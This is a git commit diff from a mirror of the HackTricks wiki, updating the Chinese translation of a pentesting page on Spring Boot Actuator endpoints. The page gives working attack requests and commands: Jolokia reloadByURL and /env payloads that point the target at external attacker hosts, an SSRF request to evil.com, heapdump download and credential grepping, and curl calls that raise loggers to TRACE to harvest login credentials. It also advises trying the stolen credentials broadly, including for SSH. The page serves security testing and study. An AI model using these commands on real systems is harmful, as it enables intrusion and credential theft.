mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a
This commit is contained in:
parent
4edbc34728
commit
175daa493c
File diff suppressed because it is too large
Load Diff
@ -6,30 +6,30 @@
|
||||
|
||||
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**来自** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
**来源** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
|
||||
## 利用 Spring Boot Actuators
|
||||
|
||||
**查看原始帖子** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
**查看原始文章:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
### **关键点:**
|
||||
|
||||
- Spring Boot Actuators 注册的端点包括 `/health`、`/trace`、`/beans`、`/env` 等。在 1 到 1.4 版本中,这些端点无需身份验证即可访问。从 1.5 版本开始,默认情况下只有 `/health` 和 `/info` 是非敏感的,但开发人员通常会禁用此安全性。
|
||||
- 某些 Actuator 端点可能会暴露敏感数据或允许有害操作:
|
||||
- `/dump`、`/trace`、`/logfile`、`/shutdown`、`/mappings`、`/env`、`/actuator/env`、`/restart` 和 `/heapdump`。
|
||||
- 在 Spring Boot 1.x 中,actuators 注册在根 URL 下,而在 2.x 中,它们位于 `/actuator/` 基础路径下。
|
||||
- Spring Boot Actuators 会注册诸如 `/health`、`/trace`、`/beans`、`/env` 等端点。在 1 到 1.4 版本中,这些端点默认无需认证即可访问。从 1.5 开始,默认只有 `/health` 和 `/info` 被认为是非敏感的,但开发者经常会关闭相关安全配置。
|
||||
- 某些 Actuator 端点可能会暴露敏感数据或允许危险操作:
|
||||
- `/dump`、`/trace`、`/logfile`、`/shutdown`、`/mappings`、`/env`、`/actuator/env`、`/restart`` 和 `/heapdump`。
|
||||
- 在 Spring Boot 1.x 中,actuators 注册在根 URL 下,而在 2.x 中,它们位于 `/actuator/` 基路径下。
|
||||
|
||||
### **利用技术:**
|
||||
|
||||
1. **通过 '/jolokia' 进行远程代码执行**:
|
||||
- `/jolokia` actuator 端点暴露了 Jolokia 库,允许对 MBeans 的 HTTP 访问。
|
||||
- `reloadByURL` 操作可以被利用来从外部 URL 重新加载日志配置,这可能导致盲目 XXE 或通过精心制作的 XML 配置进行远程代码执行。
|
||||
1. **Remote Code Execution via '/jolokia'**:
|
||||
- `/jolokia` actuator 端点暴露了 Jolokia Library,允许通过 HTTP 访问 MBeans。
|
||||
- `reloadByURL` 操作可以被利用从外部 URL 重新加载 logging 配置,这可能导致盲 XXE 或通过精心构造的 XML 配置触发 Remote Code Execution。
|
||||
- 示例利用 URL:`http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`。
|
||||
2. **通过 '/env' 进行配置修改**:
|
||||
2. **Config Modification via '/env'**:
|
||||
|
||||
- 如果存在 Spring Cloud Libraries,`/env` 端点允许修改环境属性。
|
||||
- 可以操纵属性以利用漏洞,例如 Eureka serviceURL 中的 XStream 反序列化漏洞。
|
||||
- 示例利用 POST 请求:
|
||||
- 可以操纵属性来利用漏洞,例如在 Eureka 的 serviceURL 中触发 XStream 反序列化漏洞。
|
||||
- 示例 exploit POST 请求:
|
||||
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
@ -41,24 +41,100 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **其他有用的设置**:
|
||||
- 属性如 `spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url` 和 `spring.datasource.tomcat.max-active` 可以被操纵以进行各种利用,例如 SQL 注入或更改数据库连接字符串。
|
||||
- 如 `spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url` 和 `spring.datasource.tomcat.max-active` 等属性可以被操纵以进行各种利用,例如 SQL 注入或更改数据库连接字符串。
|
||||
|
||||
### **附加信息:**
|
||||
### **补充信息:**
|
||||
|
||||
- 默认 actuators 的综合列表可以在 [这里](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) 找到。
|
||||
- Spring Boot 2.x 中的 `/env` 端点使用 JSON 格式进行属性修改,但一般概念保持不变。
|
||||
- 默认 actuators 的完整列表可以在 [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) 找到。
|
||||
- 在 Spring Boot 2.x 中,`/env` 端点使用 JSON 格式来修改属性,但总体概念相同。
|
||||
|
||||
### **相关主题:**
|
||||
|
||||
1. **Env + H2 RCE**:
|
||||
- 关于利用 `/env` 端点和 H2 数据库组合的详细信息可以在 [这里](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) 找到。
|
||||
1. **Env + H2 RCE**:
|
||||
- 有关利用 `/env` 端点与 H2 数据库结合的详细信息,请参见 [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)。
|
||||
|
||||
2. **通过错误的路径名解释在 Spring Boot 上进行 SSRF**:
|
||||
- Spring 框架对 HTTP 路径名中矩阵参数 (`;`) 的处理可以被利用进行服务器端请求伪造 (SSRF)。
|
||||
- 示例利用请求:
|
||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||
- Spring 框架对 HTTP pathname 中的 matrix 参数(`;`)的处理可以被利用进行 Server-Side Request Forgery (SSRF)。
|
||||
- 示例 exploit 请求:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## HeapDump secrets mining (credentials, tokens, internal URLs)
|
||||
|
||||
如果暴露了 `/actuator/heapdump`,通常可以检索到完整的 JVM heap snapshot,其中经常包含实时的 secrets(DB creds、API keys、Basic-Auth、internal service URLs、Spring property maps 等)。
|
||||
|
||||
- 下载并快速初筛:
|
||||
```bash
|
||||
wget http://target/actuator/heapdump -O heapdump
|
||||
# Quick wins: look for HTTP auth and JDBC
|
||||
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
|
||||
# Decode any Basic credentials you find
|
||||
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
|
||||
```
|
||||
|
||||
- 使用 VisualVM 和 OQL 进行深入分析:
|
||||
- 在 VisualVM 中打开 heapdump,检查 `java.lang.String` 的实例或运行 OQL 来搜索 secrets:
|
||||
```
|
||||
select s.toString()
|
||||
from java.lang.String s
|
||||
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
|
||||
```
|
||||
|
||||
- 使用 JDumpSpider 自动提取:
|
||||
```bash
|
||||
java -jar JDumpSpider-*.jar heapdump
|
||||
```
|
||||
典型的高价值发现:
|
||||
- Spring `DataSourceProperties` / `HikariDataSource` objects 暴露 `url`、`username`、`password`。
|
||||
- `OriginTrackedMapPropertySource` 条目泄露 `management.endpoints.web.exposure.include`、服务端口,以及 URL 中嵌入的 Basic-Auth(例如 Eureka `defaultZone`)。
|
||||
- 内存中捕获的明文 HTTP 请求/响应片段,包括 `Authorization: Basic ...`。
|
||||
|
||||
提示:
|
||||
- 使用面向 Spring 的 wordlist 快速发现 actuator endpoints(例如 SecLists 的 spring-boot.txt),并始终检查 `/actuator/logfile`、`/actuator/httpexchanges`、`/actuator/env` 和 `/actuator/configprops` 是否也被暴露。
|
||||
- 来自 heapdump 的 credentials 经常对相邻服务有效,有时也对系统用户(SSH)有效,因此应广泛尝试这些凭据。
|
||||
|
||||
|
||||
## Abusing Actuator loggers/logging to capture credentials
|
||||
|
||||
如果 `management.endpoints.web.exposure.include` 允许且 `/actuator/loggers` 被暴露,你可以动态将处理认证和请求处理的包的日志级别提升到 DEBUG/TRACE。配合可读的日志(通过 `/actuator/logfile` 或已知日志路径),这可能会 leak 登录流程中提交的 credentials(例如 Basic-Auth headers 或表单参数)。
|
||||
|
||||
- 枚举并调高敏感 loggers:
|
||||
```bash
|
||||
# List available loggers
|
||||
curl -s http://target/actuator/loggers | jq .
|
||||
|
||||
# Enable very verbose logs for security/web stacks (adjust as needed)
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
```
|
||||
|
||||
- 找到日志写入位置并收集:
|
||||
```bash
|
||||
# If exposed, read from Actuator directly
|
||||
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
|
||||
|
||||
# Otherwise, query env/config to locate file path
|
||||
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
|
||||
```
|
||||
|
||||
- 触发 login/authentication 流量并在日志中解析 creds。在使用 gateway 做 auth 前端的微服务部署中,为 gateway/security 包启用 TRACE 通常会使 headers 和 form bodies 可见。有些环境甚至会周期性生成合成的 login traffic,一旦日志变得详细,harvesting 就十分容易。
|
||||
|
||||
注意:
|
||||
- 完成后重置日志级别:`POST /actuator/loggers/<logger>` 并使用 `{ "configuredLevel": null }`。
|
||||
- 如果 `/actuator/httpexchanges` 被暴露,它也会展示最近的请求元数据,可能包含敏感 headers。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
|
||||
- [VisualVM](https://visualvm.github.io/)
|
||||
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
|
||||
- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user